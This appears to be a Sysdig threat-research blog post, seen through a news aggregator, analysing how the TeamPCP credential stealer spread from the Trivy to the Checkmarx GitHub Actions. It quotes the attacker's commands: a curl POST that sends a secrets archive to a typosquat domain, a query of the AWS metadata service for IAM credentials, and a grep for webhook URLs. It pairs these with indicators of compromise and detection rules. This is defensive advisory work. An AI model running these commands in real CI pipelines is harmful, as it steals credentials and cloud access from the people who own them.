惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
T
Threatpost
P
Privacy International News Feed
T
Tenable Blog
Know Your Adversary
Know Your Adversary
C
Cisco Blogs
P
Proofpoint News Feed
Spread Privacy
Spread Privacy
G
GRAHAM CLULEY
爱范儿
爱范儿
U
Unit 42
K
Kaspersky official blog
C
Cybersecurity and Infrastructure Security Agency CISA
Jina AI
Jina AI
O
OpenAI News
L
LangChain Blog
PCI Perspectives
PCI Perspectives
P
Privacy & Cybersecurity Law Blog
Latest news
Latest news
Cisco Talos Blog
Cisco Talos Blog
F
Full Disclosure
L
Lohrmann on Cybersecurity
V
V2EX
L
LINUX DO - 热门话题
S
Security Affairs
量子位
Martin Fowler
Martin Fowler
云风的 BLOG
云风的 BLOG
Schneier on Security
Schneier on Security
月光博客
月光博客
MyScale Blog
MyScale Blog
C
CERT Recently Published Vulnerability Notes
AWS News Blog
AWS News Blog
博客园 - 叶小钗
Forbes - Security
Forbes - Security
W
WeLiveSecurity
T
Troy Hunt's Blog
J
Java Code Geeks
Hacker News - Newest:
Hacker News - Newest: "LLM"
Google DeepMind News
Google DeepMind News
Attack and Defense Labs
Attack and Defense Labs
Apple Machine Learning Research
Apple Machine Learning Research
雷峰网
雷峰网
Google Online Security Blog
Google Online Security Blog
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
TaoSecurity Blog
TaoSecurity Blog
H
Help Net Security
The Cloudflare Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com

Sysdig Blog

Masterclass: AI is more than ChatGPT and LLMs CVE-2026-39987 update: How attackers weaponized marimo to deploy a blockchain botnet via HuggingFace Kubernetes 1.36 - New security features 5 steps to securing AI workloads Marimo OSS Python Notebook RCE: From Disclosure to Exploitation in Under 10 Hours Security briefing: March 2026 The Sysdig MCP server is now available in AWS Marketplace Risk isn’t reduced until you take action: How teams resolve issues in the cloud AI infrastructure security: Why it deserves its own category Three pillars for building effective runtime-powered cloud defense, the right way Closing the cloud security gap with runtime security Seeing risk isn’t stopping it: Why visibility alone isn’t enough AI coding agents are running on your machines — Do you know what they're doing? Runtime security for AI coding agents: Protecting AI-assisted development How runtime insights power every cloud security use case CVE-2026-33017: How attackers compromised Langflow AI pipelines in 20 hours Inline Cloud Response: Accelerating AWS threat containment for SOC teams Runtime malware detection for AWS Fargate Detecting CVE-2026-3288 & CVE-2026-24512: Ingress-nginx configuration injection vulnerabilities for Kubernetes Malware detection with Sysdig Security briefing: February 2026 Leveling up Kubernetes Posture: From baselines to risk-aware admission Eliminating runtime blind spots: How CleanStart and Sysdig build continuous trust across the container lifecycle LLMjacking: From Emerging Threat to Black Market Reality Real risks live at runtime: Why CISOs must care about deep telemetry in 2026 Sysdig named a Leader in the Forrester Wave™: Cloud Native Application Protection Solutions, Q1 2026 How to run rootless containers AI-assisted cloud intrusion achieves admin access in 8 minutes Security briefing: January 2026 Securing GPU-accelerated AI workloads in Oracle Kubernetes Engine Bringing OSS runtime security to AWS: Falco integration with AWS Security Hub CSPM Our customers have spoken: Sysdig rated a Strong Performer in Gartner® Voice of the Customer for Cloud-Native Application Protection Platforms Protecting sensitive business data in preparation for the organization's Gen AI VoidLink threat analysis: Sysdig discovers C2-compiled kernel rootkits AI is still a workload: A practical guide to securing AI workloads How threat actors are using self-hosted GitHub Actions runners as backdoors How Sysdig Sage delivers AI-powered, real-world vulnerability management Security briefing: December 2025 Top 10 ways to get breached in 2026 EtherRAT dissected: How a React2Shell implant delivers 5 payloads through blockchain C2 Introducing runtime file integrity monitoring and response with Sysdig FIM How to detect multi-stage attacks with runtime behavioral analytics EtherRAT: DPRK uses novel Ethereum implant in React2Shell attacks Detecting React2Shell: The maximum-severity RCE vulnerability affecting React Server Components and Next.js The rise of AI agents: How autonomous AI Is transforming cloud security Kubernetes 1.35 - New security features The Urgency of Securing AI Workloads for CISOs Security briefing: November 2025 Quantum and the cloud: Science fiction turned security strategy Cloud security, the right way: What the industry should demand (and why "good enough" isn't) Return of the Shai-Hulud worm affects over 25,000 GitHub repositories Detecting CVE-2024-1086: The decade-old Linux kernel vulnerability that’s being actively exploited in ransomware campaigns What’s old is new again: How to demystify AI security with AIBOMs Securing Kubernetes with agentic cloud security How agentic cloud security reduces real risks Hunting reverse shells: How the Sysdig Threat Research Team builds smarter detection rules Shifting left with AI and MCP: Sysdig + Amazon Q Developer How Falco and Stratoshark close the gap between open source runtime detection and deep forensic analysis Investigating security issues with ChatGPT and the GitHub MCP server New runc vulnerabilities allow container escape: CVE-2025-31133, CVE-2025-52565, CVE-2025-52881 Harden your LLM security with OWASP Security briefing: October 2025 How agentic AI is changing cloud security Kubernetes Incident Response: Detect, investigate, and contain in under 10 minutes Sysdig recognized as a Cloud Security Leader in Latio Tech Cloud Security Market Report AI echolocation of cloud risks using Sysdig & Snyk MCP servers Sysdig MCP Server: Bridging AI and cloud security insights Understanding CVE-2025-49844: “RediShell” Critical Remote Code Execution in Redis How Sysdig secures your containers and Kubernetes Sysdig Security Briefing: September 2025 Cloud security, the right way: The 3 pillars of real-time defense Open source spotlight: Bringing web application security to Falco with Falcoya's Nginx plugin Malicious NPM packages: Are you exposed? AI for SOC teams: 5 cloud security prompts to start your day with Sysdig Sage™ Shai-Hulud: The novel self-replicating worm infecting hundreds of NPM packages ZynorRAT technical analysis: Reverse engineering a novel, Turkish Go-based RAT Modern vulnerability management, built for the cloud Build your AWS incident response playbook with open source tools 2025 Gartner® CNAPP Market Guide: Runtime visibility is no longer optional Threat hunting with Sysdig: Uncovering “IngressNightmare” Open source spotlight: From alerts to action with AI-powered Falco Vanguard From triage to action: How Sysdig’s agentic cloud security platform slashes noise and accelerates remediation The vision comes to life: Agentic cloud security with Sysdig Sage™ Data security findings: A technical deep dive Connecting runtime to source: Sysdig and Semgrep integration Fix what matters, faster: How Sysdig and Semgrep are unifying security without silos – from code to runtime Defending sensitive data with Sysdig Secure Redefining cloud security, the right way Join the movement: The Sysdig Open Source Community is live A smarter, safer cloud in the age of AI Unifying detection and response: Sysdig + Cortex XSOAR for security at cloud speed The future of security is open, and it needs a unified hub: The Sysdig Open Source Community is here CVE-2025-53104: Command injection via GitHub Actions workflow in gluestack-ui Why MCP server security is critical for AI-driven enterprises What’s new in Sysdig — June 2025 AI-powered CNAPP with Sysdig Sage™ Revolutionizing Cybersecurity Search with Sysdig Sage™ Sysdig Threat Bulletin: Iranian Cyber Threats The end of the prioritization-only era: Vulnerability management needs action Dangerous by default: Insecure GitHub Actions found in MITRE, Splunk, and other open source repositories
TeamPCP expands: Supply chain compromise spreads from Trivy to Checkmarx GitHub Actions
Sysdig Threat Research Team · 2026-03-23 · via Sysdig Blog

On March 19, 2026, the threat actor known as TeamPCP compromised Aqua Security's Trivy vulnerability scanner and its associated GitHub Actions, injecting a credential-stealing payload into CI/CD pipelines across thousands of repositories. The incident was widely reported, with detailed analysis from StepSecurity and others.

What has not yet been publicly reported is that the same attack pattern subsequently appeared in a second, unrelated GitHub Action for Checkmarx's AST. The Sysdig Threat Research Team (TRT) observed an identical credential stealer as the one used in TeamPCP’s operations executing through Checkmarx/ast-github-action, exfiltrating encrypted secrets to a typosquat domain, approximately only four days after the initial Trivy compromise. This suggests that the stolen credentials from the Trivy compromise were used to poison additional actions in affected repositories.

Background: The Trivy compromise

The TeamPCP attack against Trivy has been extensively documented. The threat actor force-pushed 75 of 76 version tags in the aquasecurity/trivy-action repository, redirecting them to malicious commits containing the "TeamPCP Cloud stealer." 

When CI/CD workflows referenced these tags, the compromised action executed a multi-stage payload:

  1. Credential scraping: Scanned /proc/*/mem from Runner. Worker processes to extract secrets stored in memory
  2. Cloud metadata harvesting: Queried the AWS Instance Metadata Service (IMDS) at 169.254.169.254 for IAM credentials
  3. Webhook enumeration: Searched the workspace for Slack and Discord webhook URLs
  4. Encrypted exfiltration: Bundled harvested secrets into an AES-256+RSA-4096 encrypted archive (tpcp.tar.gz) and uploaded it via curl POST to a typosquat domain

The exfiltration destination was scan.aquasecurtiy[.]org, a deliberate misspelling of Aqua Security's GitHub organization name (aquasecurity), resolved to 45.148.10.212.

The Checkmarx wave

Approximately four days after the Trivy-based attacks began, the Sysdig TRT observed a second wave of identical stealer activity originating from a different GitHub Action: Checkmarx/ast-github-action version 2.3.28.

The process tree for the Checkmarx events follows the same structure as the Trivy events, with only the entry point differing:

  • Trivy chain: Runner.Worker → bash → entrypoint.sh (trivy-action) → curl POST
  • Checkmarx chain: Runner.Worker → bash → setup.sh (ast-github-action/2.3.28) → curl POST

The curl command is also functionally identical:

curl -s -o /dev/null -w %{http_code} -X POST https://checkmarx[.]zone \
  -H Content-Type: application/octet-stream \
  -H X-Filename: tpcp.tar.gz \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz


This features the same tpcp.tar.gz filename, the same --data-binary upload pattern, the same -w %{http_code} status check, and the same X-Filename header. The only differences are:

Attribute Trivy wave Checkmarx wave
Action aquasecurity/trivy-action Checkmarx/ast-github-action/2.3.28
Entry
point
entrypoint.sh setup.sh
Exfil
domain
scan.aquasecurity[.]org checkmarx[.]zone
Exfil IP 45.148.10.212:443 83.142.209.11:443
Typosquat of aquasecurity.org checkmarx.com

The use of vendor-specific typosquat domains for each poisoned action is a deliberate deception technique. An analyst reviewing CI/CD logs would see curl traffic to what appears to be the action's own vendor domain, reducing the likelihood of manual detection.

Supporting attack stages

The Checkmarx wave included the same supporting activity observed in the Trivy wave:

  • IMDS credential harvesting: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

This command retrieves temporary AWS credentials from the Instance Metadata Service. In the context of a CI runner hosted on AWS or Azure (where IMDS is available), these credentials can provide access to cloud resources associated with the runner's IAM role.

  • Webhook URL enumeration: grep -r "hooks.slack.com\|discord.com/api/webhooks" . 2>/dev/null | head -20

This command searches the checked-out repository workspace for Slack and Discord webhook URLs, which can be used for secondary exfiltration or social engineering.

How this happened

The TeamPCP stealer's primary function is harvesting credentials from CI runner memory. When a compromised Trivy action executes in a workflow, it extracts GitHub personal access tokens (PATs) and other secrets from the Runner.Worker process memory. If those tokens have write access to repositories that also use Checkmarx actions, the attacker can use them to push malicious code to additional action dependencies.

This creates a cascading supply chain compromise: One poisoned action harvests credentials that enable poisoning of additional actions, each using a different typosquat domain to avoid pattern-based detection. 

Runtime detection with Sysdig Secure and Falco

Supply chain compromises bypass most preventive controls upstream of the runner: Code review and dependency scanning failed here because the malicious code was injected into a trusted action at the source. Tag-based action references (e.g., @v2) were subverted by force-pushing tags to malicious commits. Only commit SHA pinning would have been immune. The action is already compromised when the workflow runs, so when the patch window collapses to zero, runtime detection becomes the primary line of defense.

The TeamPCP stealer follows a fixed kill chain regardless of which GitHub Action delivers it. Each stage of that chain produces system call activity that Falco and Sysdig Secure are designed to catch, without any prior knowledge of the specific compromised action.

Kill chain to detection mapping

Attack Stage Observed behavior Sysdig rule MITRE ATT&CK
Cloud credential theft
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ from runner container
Contact EC2 Instance Metadata Service From Container T1552.005 Unsecured Credentials: Cloud Instance Metadata API
Secret exfiltration
curl POST with --data-binary uploading .tar.gz to external domain
Curl Exfiltrating File TA0010 Exfiltration
IMDS + exfiltration correlation
curl POST to external domain from a process that also accessed IMDS
Exfiltration of AWS IMDS Credentials Using LOTL Binary T1552.005 + TA0010
Webhook harvesting
grep -r hooks.slack.com|discord.com/api/webhooks in workspace
Malicious IPs or Domains Detected on Command Line TA0009 Collection, T1102 Web Service

Why runtime detection works here

These four rules detected both the Trivy and Checkmarx waves because the underlying stealer payload is identical. The rules operate on behavior (system calls, network connections, process arguments), not on signatures for specific compromised packages. Static analysis and dependency scanning failed because the malicious code was injected into trusted, signed actions; network-based detection failed because the typosquat domains were newly registered and had clean reputation scores. Runtime detection, however, succeeded, because the attacker must ultimately execute system calls to steal and exfiltrate data, and those system calls are observable regardless of how the attacker gained code execution.

The highest-signal rule is “Exfiltration of AWS IMDS Credentials Using LOTL Binary,” which correlates IMDS access with subsequent data upload. Either behavior alone can be legitimate in CI pipelines, but the combination from the same process lineage is elevated to CRITICAL. The “Curl Exfiltrating File” rule catches the exfiltration step independently of the destination domain, meaning it works whether the attacker uses aquasecurtiy[.]org, checkmarx[.]zone, or any future typosquat.

Typosquat domain detection

Network-level detection alone is insufficient for these attacks. Both scan.aquasecurtiy[.]org and checkmarx[.]zone returned clean verdicts from threat intelligence feeds at the time of exploitation, as the domains were newly registered and had no prior malicious history. Detection must focus on the behavior (curl POST of binary data to external domains from CI runners) rather than relying on domain reputation.

Indicators of compromise

Exfiltration domains

Domain Typosquat of Resolved IP
scan.aquasecurtiy[.]org aquasecurity (Aqua Security) 45.148.10.212
checkmarx[.]zone checkmarx.com 83.142.209.11

Exfiltration indicators

Indicator Value
Payload filename tpcp.tar.gz
Fallback exfiltration Creation of tpcp-docs repository in victim's GitHub account

Compromised actions

Action Compromised version Entry point
aquasecurity/trivy-action 75 of 76 tags entrypoint.sh
aquasecurity/setup-trivy 7 tags action.yaml
Checkmarx/ast-github-action 2.3.28 (possibly more) setup.sh

Recommendations

  • Rotate all secrets, tokens, and cloud credentials that were accessible to CI runners during the affected window. This includes GitHub PATs, AWS/Azure/GCP service principal credentials, and any secrets configured in repository or organization settings. 
  • Audit GitHub Actions workflow runs from March 19–23, 2026, for any references to tpcp.tar.gz, aquasecurity, or checkmarx.zone in runner logs.
  • Search your GitHub organization for repositories named tpcp-docs, which indicate successful exfiltration via the fallback mechanism.
  • Pin GitHub Actions to full commit SHAs rather than version tags. Tags can be force-pushed; commit SHAs cannot.
  • Enable Sysdig Secure or Falco runtime detection on CI runner infrastructure to detect credential theft and data exfiltration regardless of the initial access vector.
  • Monitor outbound network connections from CI runners for curl POST requests to domains that do not match expected artifact repositories.
  • Restrict IMDS access from CI runner containers using IMDSv2 with hop limits, or disable IMDS entirely where cloud credentials are not needed.

Conclusion

The appearance of the TeamPCP stealer in Checkmarx/ast-github-action demonstrates that supply chain compromises are not isolated events. A single poisoned action can harvest credentials that enable the compromise of additional actions, creating a cascading effect across the CI/CD ecosystem. The identical payload, encryption scheme, and tpcp.tar.gz naming convention confirm this is the same threat actor expanding their reach beyond the initial Trivy compromise.

Organizations that rely solely on tag-based action references or domain reputation would likely have missed the Checkmarx wave entirely, as it used a different action and a different domain, and appeared after the initial Trivy advisories focused attention elsewhere. Runtime detection proved effective against both waves because the underlying behavior is the same regardless of which action delivers it: A CI runner process uploads encrypted binary data to an external domain that was not part of the original workflow.

The rising frequency of CI/CD supply chain attacks, from tj-actions/changed-files in 2025 to TeamPCP's multi-action campaign in 2026, makes the runtime monitoring of build infrastructure more critical than ever.